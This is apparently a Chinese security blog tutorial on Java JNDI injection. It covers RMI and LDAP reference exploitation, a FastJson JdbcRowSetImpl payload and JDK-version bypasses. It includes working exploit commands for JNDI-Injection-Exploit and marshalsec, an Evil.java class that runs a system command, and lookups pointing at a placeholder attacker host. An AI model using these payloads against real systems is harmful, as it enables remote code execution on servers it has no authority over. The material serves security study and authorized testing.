【JavaEE安全】JNDI 注入从原理到实战:RMI、LDAP 与高版本绕过

警告:以下内容仅用于安全研究与授权测试,未经许可的攻击行为属于违法行为。


一、JNDI 注入核心原理

1.1 什么是 JNDI

JNDI(Java Naming and Directory Interface)是 Java 提供的一套统一 API,用于在命名/目录服务(如 RMI、LDAP、DNS 等)中查找和访问资源。它的核心操作是 InitialContext.lookup(String name),通过一个字符串名称来定位对象。

1.2 什么是 JNDI 注入

当应用程序对传入 lookup() 的 name 参数缺乏严格校验时,攻击者可以构造恶意的 JNDI 引用(如 rmi://attacker.com/evil 或 ldap://attacker.com/evil),诱使目标服务器从攻击者控制的服务器上加载并执行恶意类,从而实现远程代码执行(RCE)。

1.3 利用条件

  • 可控参数 :InitialContext.lookup() 的参数可被用户输入控制。
  • 服务支持:目标环境支持 RMI、LDAP 等 JNDI 服务实现。
  • 版本限制:JDK 版本限制了攻击方式,详见后文"高版本绕过"。

二、JNDI 注入利用方式:RMI & LDAP

2.1 核心机制:Reference 与远程类加载

JNDI 的 Reference 类是实现注入的关键,它包含三个核心属性:

  • className:要加载的类名。
  • classFactory:实例化工厂类名。
  • classFactoryLocation:远程类的下载地址(如 HTTP 服务器)。

当目标服务器执行 lookup() 时,会根据 Reference 的信息,从指定地址下载并实例化恶意类。

2.2 利用工具:JNDI-Injection & marshalsec

2.2.1 JNDI-Injection-Exploit

快速生成恶意 JNDI 地址,直接执行系统命令。

bash 复制代码
# 生成 RMI/LDAP 恶意地址,执行 calc.exe
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A <ATTACKER_IP>

输出示例:

复制代码
[+] LDAP URL: ldap://<ATTACKER_IP>:1389/xxxxxx
[+] RMI URL:  rmi://<ATTACKER_IP>:1099/xxxxxx
2.2.2 marshalsec

更灵活的工具,可启动恶意 RMI/LDAP 引用服务器,引导目标下载自定义恶意类。

  1. 编写恶意类:

    java 复制代码
    // Evil.java
    public class Evil implements javax.naming.spi.ObjectFactory {
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime.getRuntime().exec("calc");
            return null;
        }
    }
  2. 编译:

    bash 复制代码
    javac Evil.java
  3. 启动恶意 LDAP 服务器:

    bash 复制代码
    # 引导目标从 http://ATTACKER_IP/ 下载 Evil.class
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>/#Evil"
  4. 启动恶意 RMI 服务器:

    bash 复制代码
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<ATTACKER_IP>/#Evil"
  5. 触发注入:

    java 复制代码
    // 目标代码中存在可控的 lookup 调用
    new InitialContext().lookup("ldap://<ATTACKER_IP>:1389/Evil");

三、实战案例:与 FastJson 反序列化结合

3.1 漏洞原理

FastJson 在反序列化时,会根据 JSON 中的 @type 字段实例化对应类。当 @type 指向 com.sun.rowset.JdbcRowSetImpl 时,其 setDataSourceName() 方法会调用 InitialContext.lookup(),从而触发 JNDI 注入。

3.2 攻击步骤

  1. 判断环境:构造畸形 JSON 触发报错,确认 FastJson 版本及是否存在反序列化漏洞。

  2. 生成恶意地址:使用 JNDI-Injection-Exploit 生成 RMI 地址。

  3. 构造 Payload :

    json 复制代码
    {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://<ATTACKER_IP>:1099/Evil",
        "autoCommit": true
    }
  4. 提交 Payload:将 JSON 数据提交至目标,触发反序列化与 JNDI 注入,执行代码。


四、JDK 高版本注入绕过

4.1 JDK 版本限制

JDK 版本 限制项 影响
6u45, 7u21+ useCodebaseOnly=true RMI 禁用远程类加载
6u132, 7u122, 8u113+ trustURLCodebase=false RMI/CORBA 禁用远程 Codebase
6u211, 7u201, 8u191+ ldap.object.trustURLCodebase=false LDAP 禁用远程 Codebase

4.2 绕过思路

在高版本 JDK 中,直接远程加载类的方式被封堵,绕过方法主要有:

  1. 利用本地 Classpath 中的可利用类 :

    寻找目标环境 Classpath 中已存在的、可被利用的类(如 org.apache.naming.factory.BeanFactory),通过 Reference 构造调用链,间接执行代码。

  2. 利用 LDAP 序列化对象 :

    marshalsec 等工具支持在 LDAP 响应中直接返回序列化对象。如果目标服务器存在反序列化漏洞(如 Commons Collections),则可以通过 LDAP 注入触发反序列化 RCE,无需远程加载类。

    bash 复制代码
    # marshalsec 启动 LDAP 服务器,直接返回序列化 payload
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPServer

五、总结与延伸

JNDI 注入作为 Java 生态中经典的 RCE 利用链,其核心在于利用 lookup() 对恶意引用的解析。从早期的 RMI/LDAP 远程类加载,到与 FastJson 等反序列化漏洞的结合,再到针对高版本 JDK 的绕过技术,其利用方式不断演进。深入理解其原理和绕过技巧,是掌握 Java 安全攻防的关键。

参考链接:


相关推荐
奈落244 小时前
AI辅助的另一面:从2026年国际AI安全报告的“故障”清单到国内专家的可靠性短板,自主行动的Agent为什么更难及时干预
人工智能·安全·agent·本地部署·ai 办公
实名上网宋凯宣7 小时前
Django
后端·python·django
如若1238 小时前
【论文复现】CoFailMed:从零复现医学图像分割的共享失败审计,含完整代码流程与科研绘图
人工智能·python
赛博守夜人9 小时前
AI安全攻防与治理之十六:对抗样本、恶意文件与多模态攻击,AI 内容安全检测的真实盲区
人工智能·安全
砚底藏山河10 小时前
python量化自定义周期 K 线合成
java·开发语言·数据库·python·金融
视觉小萌新10 小时前
AI Class 3 · Chapter 1:变量、字符串、list/dict、if/for(python学习-小白版-有经验可跳过)
python·学习·list
薛定谔的猫-菜鸟程序员11 小时前
软件架构设计师开发资料大全(从入门到精通)
后端·python·系统架构·flask·架构设计师
ZEB110611 小时前
首届安全应急救援机器人大赛在广州举办 深圳璇玑动力斩获多项冠军
安全·机器人·消防
Ramble_Naylor12 小时前
Rust深度解读:Send 与 Sync 的本质与线程安全边界
python·算法·rust
未来之窗软件服务13 小时前
WAF负载均衡+蜜罐混淆安全体系-东方仙盟
运维·安全·负载均衡·仙盟创梦ide·东方仙盟·阿雪技术观·网关开发